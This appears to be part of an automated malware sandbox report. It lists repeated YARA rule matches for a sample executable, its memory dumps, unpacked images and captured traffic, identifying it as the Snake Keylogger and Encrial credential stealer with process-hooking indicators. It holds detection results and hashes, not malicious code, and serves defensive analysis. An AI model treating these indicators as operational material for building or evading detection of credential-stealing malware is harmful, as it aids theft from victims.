Source: 00000000.00000002.737513462.000000000294C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.737567001.0000000002964000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000003.670353008.0000000002E38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: 0OZQi3b0tM.exe PID: 7100, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Source: 0OZQi3b0tM.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0OZQi3b0tM.exe, type: SAMPLE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0OZQi3b0tM.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0OZQi3b0tM.exe, type: SAMPLE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: sslproxydump.pcap, type: PCAP	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738443207.0000000002ADD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737543287.0000000002958000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738278860.0000000002ABD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737582921.000000000296C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738464278.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737477229.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737233949.00000000028C7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737426073.000000000292C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737400500.000000000291C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737877910.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737872155.0000000002A2D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738102517.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737894796.0000000002A3D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737177065.0000000002898000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737163773.0000000002894000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738298999.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737551923.000000000295C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737275091.00000000028E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737205564.00000000028B7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737680246.0000000002990000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737438859.0000000002934000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737240182.00000000028CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738349545.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738520206.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737615006.000000000297C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738206086.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737694580.0000000002998000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738046605.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737534636.0000000002954000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738084741.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738331335.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737246038.00000000028CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737258885.00000000028D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737950672.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738536747.0000000002AED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737218317.00000000028BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737983761.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737998771.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737291941.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737504124.0000000002948000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737901412.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737883433.0000000002A35000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737944111.0000000002A4D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738244012.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737409041.0000000002920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738141181.0000000002A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737889019.0000000002A39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737855627.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737285680.00000000028EB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738079094.0000000002A7D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738039601.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738059775.0000000002A79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738194827.0000000002AA5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737190839.00000000028A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737592635.0000000002970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738181191.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737144637.000000000288C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737978655.0000000002A5D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737655258.0000000002988000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737628909.0000000002980000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737833563.00000000029F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737414593.0000000002924000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737929824.0000000002A45000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737560330.0000000002960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737825477.00000000029F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738023885.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738485397.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737575208.0000000002968000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737808101.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737431755.0000000002930000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737466902.0000000002940000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737280426.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737670833.000000000298C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737689328.0000000002994000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737225304.00000000028C3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737609149.0000000002978000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737936851.0000000002A49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737641884.0000000002984000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738147230.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738223259.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738314614.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737450837.0000000002938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737597795.0000000002974000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738125525.0000000002A8D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738160524.0000000002A9D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738425558.0000000002AD9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738406461.0000000002AD5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738262050.0000000002AB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737864301.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737968200.0000000002A55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737263659.00000000028DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737253851.00000000028D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738109588.0000000002A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737973247.0000000002A59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737457876.000000000293C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737523761.0000000002950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
